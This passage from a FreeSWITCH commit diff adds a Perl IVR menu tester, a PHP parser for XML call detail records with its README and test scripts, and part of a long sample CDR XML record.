+my $tree = XML::LibXML->new()->parse_file($file);
+my $root = $tree->getDocumentElement;
+my @menudata = $root->getElementsByTagName('menu');
+my $menu_top = shift @ARGV;
+
+
+
+sigaction SIGALRM, new POSIX::SigAction sub { 
+    die "TIMEOUT";
+} or die "Error setting SIGALRM handler: $!\n";
+
+
+
+sub printMenu($) {
+    my $menu = shift;
+    
+    my $name = $menu->getAttribute('name');
+    my $greet_long = $menu->getAttribute('greet-long');
+    my $greet_short = $menu->getAttribute('greet-short');
+    my $invalid_sound = $menu->getAttribute('invalid-sound');
+    my $exit_sound = $menu->getAttribute('exit-sound');
+    
+    print "$name\n";
+    
+    
+    my @entries  = $menu->getElementsByTagName('entry');
+    foreach my $entry (@entries) {
+        my $action = $entry->getAttribute('action');
+        my $digits = $entry->getAttribute('digits');
+        my $param  = $entry->getAttribute('param');
+        
+        if($action eq undef) {
+            print "\tAction was undefined, skipping\n";
+        } else {
+            print "\taction: $action";
+            print "\tdigits: $digits" unless (! defined $digits);
+            print "\tparam: $param" unless (! defined $param);
+            print "\n";
+        }
+    }
+}
+
+
+sub findMenu($) {
+    my $menuName = shift;
+    foreach my $menu (@menudata) {
+        if ($menuName eq $menu->getAttribute('name')) {
+            return $menu;
+        }
+    }
+    print "Unable to locate menu $menuName!\n";
+}
+    
+sub runMenu($) {
+    my @menu = shift;
+
+    my $tries = 0;
+
+    my $max_failures  = @menu[0]->getAttribute('max-failures');
+    my $timeout       = @menu[0]->getAttribute('timeout');
+    my $greet_long    = @menu[0]->getAttribute('greet-long');
+    my $greet_short   = @menu[0]->getAttribute('greet-short');
+    my $invalid_sound = @menu[0]->getAttribute('invalid-sound');
+    my $exit_sound    = @menu[0]->getAttribute('exit-sound');
+
+
+    print "Playing $greet_long\n";
+    while (true) {
+        printMenu(@menu[0]);
+        alarm $timeout;
+
+        eval {
+            print "Enter your choice: ";
+            $choice = <STDIN>;
+            chomp($choice);
+            
+            my @entries  = @menu[0]->getElementsByTagName('entry');
+            my $action;
+            my $param;
+            foreach my $entry (@entries) {
+                if($entry->getAttribute('digits') eq $choice) {
+                    $action = $entry->getAttribute('action');
+                    $param = $entry->getAttribute('param');
+                    last;
+                }
+            }
+            
+            if($action eq "menu-sub") {
+                runMenu(findMenu($param));
+            } elsif ($action eq "menu-exit") {
+                print "Playing $exit_sound\n";
+                exit;
+            } elsif ($action eq "menu-back") {
+                return;
+            } elsif ($action eq "menu-top") {
+                runMenu(findMenu($menu_top));
+            } elsif ($action eq "menu-exec-api") {
+                print "EXEC: $param\n";
+            } elsif ($action eq "menu-call-transfer") {
+                print "TRANSFER: $param\n";
+            } elsif ($action eq "menu-play-sound") {
+                print "Playing $param\n";
+            } else {
+                print "Action $action is not mapped!\n" unless (! defined $action);
+                print "Playing $invalid_sound\n";
+                $tries++;
+            }
+        };
+
+        if ($@ =~ /TIMEOUT/) {
+            print "Timeout\n";
+            $tries++;
+        }
+            
+        if($tries lt $max_failures) {
+            print "Playing $greet_short\n";
+        } else {
+            last;
+        }
+
+    }
+    print "Playing $exit_sound\n";
+    exit;
+
+}
+
+runMenu(findMenu($menu_top));

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-cdr/Parse_XML_CDR.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr/Parse_XML_CDR.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr/Parse_XML_CDR.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-cdr/Parse_XML_CDR.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-cdr/Parse_XML_CDR.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+<?php //  -*- mode:c; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+
+class Parse_CDR_XML {
+    var $_data = Array();
+    var $_name = Array();
+    var $_rep = Array();
+    var $_parser = 0;
+    var $_showAttribs;
+    var $_level = 0;
+    var $currentTag;
+    var $_CDR=array();
+    var $_callflowcnt=0;
+    var $_iscallflow=0;
+    
+    function Parse_CDR_XML(&$data,$showattribs = false) {
+        $data = stripslashes(preg_replace('/<.xml (.*?)>(.*)/',"\\2",$data));
+        $data = preg_replace("/<(.*?)><(.*?)><\/(.*?)>/","<\\1>\\2</\\3>",$data);
+        $this->_showAttribs = $showattribs;
+        $this->_parser = xml_parser_create();
+        
+        xml_set_object($this->_parser,$this);
+        
+        xml_parser_set_option($this->_parser,XML_OPTION_CASE_FOLDING,false);
+        
+        xml_set_element_handler($this->_parser, "_startElement", "_endElement");
+        xml_set_character_data_handler($this->_parser, "_cdata");
+        
+        $this->_data = array();
+        $this->_level = 0;
+        if(!xml_parse($this->_parser, $data, true)){
+            return false;
+        }
+        xml_parser_free($this->_parser);
+    }
+    
+    
+    function & ReturnArray() {
+        return $this->_CDR;
+    }
+    
+    
+    function & ReturnAttributes() {
+        return $this->_data['_Attributes_'];
+    }
+    
+    
+    function _startElement($parser, $name, $attrs){
+        $this->_ElementName="";
+        if (!isset($this->_rep[$name])) $this->_rep[$name] = 0;
+        switch ($name) {
+        case "cdr":
+            break;
+        case "app_log":
+        case "variables":
+            if(!isset($this->_CDR[$name])) {
+                $this->_CDR[$name]=array();
+            }
+            $this->currentTag = $name;
+            break;
+        case "application":
+            if($this->_iscallflow) {
+                $this->_CDR[$this->currentTag][$this->_callflowcnt]['extension']['application'][]=$attrs;
+            } else {
+                $this->_CDR[$this->currentTag][]=$attrs;
+            }
+            break;
+        case "callflow":
+            if(!is_array($this->_CDR[$name])) { $this->_CDR[$name]=array(); }
+            $this->currentTag = $name;
+            foreach ($attrs as $key => $value) {
+                $this->_CDR[$this->currentTag][$this->_callflowcnt][$key]=$value;
+            }
+            $this->_iscallflow=1;
+            break;
+        case "extension":
+            foreach ($attrs as $key => $value) {
+                $this->_CDR[$this->currentTag][$this->_callflowcnt]['extension'][$key]=$value;
+            }
+            break;
+        case "originator":
+            if($this->_iscallflow) {
+                $this->currentTag = $name;
+            } else {
+                $this->_ElementName=$name;
+            }
+            break;
+        case "caller_profile":
+        case "times":
+        case "originator_caller_profile":
+            $this->currentTag = $name;
+            break;
+        default:
+            $this->_ElementName=$name;
+            break;
+        }
+        
+    }
+    
+    
+    function _endElement($parser,$name){
+        $this->_ElementName="";
+        switch ($name) {
+        case "callflow":
+            $this->_callflowcnt++;
+            $this->_iscallflow=0;
+            break;
+        }
+        
+    }
+    
+    
+    
+    function _cdata($parser, $data) {
+        switch($this->currentTag) {
+        case "cdr":
+            return;
+            break;
+        case "app_log":
+            return;
+            break;
+        case "originator_caller_profile":
+            if(isset($data) && $this->_ElementName != "" &&
+               !isset($this->_CDR[$this->currentTag][$this->_ElementName])
+               ) {
+
+                $this->_CDR['callflow'][$this->_callflowcnt]['originator'][$this->currentTag][$this->_ElementName]=$data;
+            }
+            return;
+            break;
+        case "caller_profile":
+        case "times":
+            if(isset($data) && $this->_ElementName != "" &&
+               !isset($this->_CDR[$this->currentTag][$this->_ElementName])
+               ) {
+
+                $this->_CDR['callflow'][$this->_callflowcnt][$this->currentTag][$this->_ElementName]=$data;
+            }
+            return;
+            break;
+        }
+        if(isset($data) && $this->_ElementName != "" &&
+           !isset($this->_CDR[$this->currentTag][$this->_ElementName])
+           ) {
+            $this->_CDR[$this->currentTag][$this->_ElementName]=$data;
+        }
+    }
+    
+}
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-cdr/README

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr/README (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-cdr/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-cdr/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+To use this you need to have the mod_xml_cdr loaded and configured.
+
+If you use either errLogDir or logDir then make sure that the directories
+exist.  In the case of logDir the original code appended "/xml_cdr" onto
+the value, so I do that as well.  If logDir is set but empty (value="")
+it will use the FreeSWITCH default log dir and appent "/xml_cdr" onto
+that.
+
+<configuration name="xml_cdr.conf" description="XML CDR CURL logger">
+<settings>
+    <!-- the credentials we may optionally use when POSTing ->
+    <param name="cred" value="user:pass"/>
+    <!-- url to log to -->
+    <param name="url" value="http://myhost/cdr.php"/>
+    <!-- how many times we retry not counting the inital try -->
+    <param name="retries" value="2"/>
+    <!-- how many seconds before we try again -->
+    <param name="delay" value="120"/>
+    <!-- this is where we log failed POSTs to the webserver -->
+    <param name="errLogDir" value="/usr/local/freeswitch/log/xml_cdr_errors"/>
+
+<!-- optional: if not present we do not log every record to disk -->
+<!-- per original code base /xml_cdr is appended to the directory name -->
+<param name="logDir" value="/usr/local/freeswitch/log"/>
+
+</settings>
+
+
+
+TO TEST
+there is an example XML_CDR record testcdr.xml which you can parse
+
+Web method:
+cp testcdr.php Parse_XML_CDR.php testcdr.xml /path/to/htdocs
+goto http://host/testcdr.php
+
+CLI method:
+php testcdr.php
+
+The XML record is quite long and has many transfers, but this should
+let you know how the array is formed so you can reference elements

Deleted: freeswitch/branches/seven/contrib/trixter/xml-cdr/cdr.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr/cdr.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr/cdr.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-cdr/cdr.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-cdr/cdr.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?php
+  include_once('Parse_XML_CDR.php');
+
+  Header("Content-type: text/plain");
+
+  $xml = new Parse_CDR_XML($_POST['cdr']);
+  $cdr=$xml->ReturnArray();
+
+  // log the entries
+  // it would probably be better to log to a database but simple examples dont do that
+  $fh = fopen("/tmp/cdr.xml.".uniqid(), 'wb');
+  fwrite($fh, $_POST['cdr'] . "\n\nprint_r\n\n");
+  fwrite($fh,print_r($cdr,true)."\n\n");
+  fclose($fh);
+
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr/testcdr.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+include_once('Parse_XML_CDR.php');
+Header("Content-type: text/plain");
+
+function read_file($filename)
+{
+    if ( file_exists($filename) && ($fd = @fopen($filename, 'rb')) ) {
+        $contents = '';
+        while (!feof($fd)) {
+            $contents .= fread($fd, 8192);
+        }
+        fclose($fd);
+        return $contents;
+    } else {
+        return false;
+    }
+}
+
+$xmlraw=read_file("testcdr.xml");
+if($xmlraw !== false) {
+    $xml = new Parse_CDR_XML($xmlraw);
+    $cdr=$xml->ReturnArray();
+    print_r($cdr);
+ } else {
+    echo "Unable to read file";
+ }
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.xml

Copied: freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.xml (from rev 14471, freeswitch/trunk/contrib/trixter/xml-cdr/testcdr.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-cdr/testcdr.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1528 @@
+<?xml version="1.0"?>
+<cdr>
+  <variables>
+    <sip_authorized>true</sip_authorized>
+    <sip_mailbox>1006</sip_mailbox>
+    <sip_auth_username>1006</sip_auth_username>
+    <sip_auth_realm>10.0.1.250</sip_auth_realm>
+    <mailbox>1006</mailbox>
+    <accountcode>1006</accountcode>
+    <user_context>default</user_context>
+    <effective_caller_id_name>Extension%201006</effective_caller_id_name>
+    <effective_caller_id_number>1006</effective_caller_id_number>
+    <sip_from_user>1006</sip_from_user>
+    <sip_from_port>5060</sip_from_port>
+    <sip_from_uri>1006%4010.0.1.250%3A5060</sip_from_uri>
+    <sip_from_host>10.0.1.250</sip_from_host>
+    <sip_from_user_stripped>1006</sip_from_user_stripped>
+    <sofia_profile_name>default</sofia_profile_name>
+    <sip_req_user>1009</sip_req_user>
+    <sip_req_port>5060</sip_req_port>
+    <sip_req_uri>1009%4010.0.1.250%3A5060</sip_req_uri>
+    <sip_req_host>10.0.1.250</sip_req_host>
+    <sip_to_user>1009</sip_to_user>
+    <sip_to_port>5060</sip_to_port>
+    <sip_to_uri>1009%4010.0.1.250%3A5060</sip_to_uri>
+    <sip_to_host>10.0.1.250</sip_to_host>
+    <sip_contact_user>1006</sip_contact_user>
+    <sip_contact_port>5060</sip_contact_port>
+    <sip_contact_uri>1006%4010.0.1.240%3A5060</sip_contact_uri>
+    <sip_contact_host>10.0.1.240</sip_contact_host>
+    <channel_name>sofia/default/1006%4010.0.1.250%3A5060</channel_name>
+    <sip_call_id>1f9e6333-e0128840-f539ae8d%4010.0.1.240</sip_call_id>
+    <sip_via_host>10.0.1.240</sip_via_host>
+    <sip_via_port>5060</sip_via_port>
+    <sip_via_rport>34699</sip_via_rport>
+    <max_forwards>70</max_forwards>
+    <presence_id>1006%4010.0.1.250</presence_id>
+    <switch_r_sdp>v%3D0%0D%0Ao%3D-%201198125579%201198125579%20IN%20IP4%2010.0.1.240%0D%0As%3DPolycom%20IP%20Phone%0D%0Ac%3DIN%20IP4%2010.0.1.240%0D%0At%3D0%200%0D%0Aa%3Dsendrecv%0D%0Am%3Daudio%202236%20RTP/AVP%209%200%208%2018%20101%0D%0Aa%3Drtpmap%3A9%20G722/8000%0D%0Aa%3Drtpmap%3A0%20PCMU/8000%0D%0Aa%3Drtpmap%3A8%20PCMA/8000%0D%0Aa%3Drtpmap%3A18%20G729/8000%0D%0Aa%3Drtpmap%3A101%20telephone-event/8000%0D%0A</switch_r_sdp>
+    <remote_media_ip>10.0.1.240</remote_media_ip>
+    <remote_media_port>2236</remote_media_port>
+    <read_codec>G722</read_codec>
+    <read_rate>16000</read_rate>
+    <write_codec>G722</write_codec>
+    <write_rate>16000</write_rate>
+    <local_media_ip>10.0.1.250</local_media_ip>
+    <local_media_port>2236</local_media_port>
+    <endpoint_disposition>ANSWER</endpoint_disposition>
+    <fifo_target>7fa22ce4-9487-4501-965e-7e062792f6c3</fifo_target>
+    <fifo_status>DONE</fifo_status>
+    <fifo_timestamp>2007-12-20%2007%3A20%3A20</fifo_timestamp>
+    <use_profile>nat</use_profile>
+    <numbering_plan>US</numbering_plan>
+    <default_gateway>asterlink.com</default_gateway>
+    <default_area_code>918</default_area_code>
+    <user_name>default</user_name>
+    <domain_name>10.0.1.250</domain_name>
+    <dialed_ext>1002</dialed_ext>
+    <call_timeout>130</call_timeout>
+    <hangup_after_bridge>true</hangup_after_bridge>
+    <left_hanging_extension>5900</left_hanging_extension>
+    <continue_on_fail>true</continue_on_fail>
+    <dialed_user>1002</dialed_user>
+    <dialed_domain>10.0.1.250</dialed_domain>
+    <switch_m_sdp>v%3D0%0D%0Ao%3D1002%208000%208000%20IN%20IP4%2010.0.1.5%0D%0As%3DSIP%20Call%0D%0Ac%3DIN%20IP4%2010.0.1.5%0D%0At%3D0%200%0D%0Am%3Daudio%205004%20RTP/AVP%200%20101%0D%0Aa%3Drtpmap%3A0%20PCMU/8000%0D%0Aa%3Drtpmap%3A101%20telephone-event/8000%0D%0Aa%3Dfmtp%3A101%200-11%0D%0Aa%3Dptime%3A20%0D%0A</switch_m_sdp>
+    <originate_disposition>SUCCESS</originate_disposition>
+    <bridge_channel>sofia/default/1002</bridge_channel>
+    <bridge_uuid>cf150cd3-af80-49b1-90c9-da7484e9b033</bridge_uuid>
+    <signal_bond>cf150cd3-af80-49b1-90c9-da7484e9b033</signal_bond>
+    <hangup_cause>NORMAL_CLEARING</hangup_cause>
+    <start_stamp>2007-12-20%2007%3A21%3A28</start_stamp>
+    <answer_stamp>2007-12-20%2007%3A19%3A34</answer_stamp>
+    <end_stamp>2007-12-20%2007%3A21%3A32</end_stamp>
+    <start_epoch>1198156888</start_epoch>
+    <start_uepoch>1198156888447769</start_uepoch>
+    <answer_epoch>1198156774</answer_epoch>
+    <answer_uepoch>1198156774875311</answer_uepoch>
+    <end_epoch>1198156892</end_epoch>
+    <end_uepoch>1198156892250109</end_uepoch>
+    <last_app>bridge</last_app>
+    <last_arg>USER/1002%4010.0.1.250</last_arg>
+    <caller_id>%22Brian%20West%22%20%3C1006%3E</caller_id>
+    <duration>4</duration>
+    <billsec>118</billsec>
+    <mduration>3803</mduration>
+    <billmsec>117375</billmsec>
+    <uduration>3802340</uduration>
+    <billusec>117374798</billusec>
+  </variables>
+  <app_log>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/5900"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="fifo" app_data="5900@10.0.1.250 in undef local_stream://moh"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
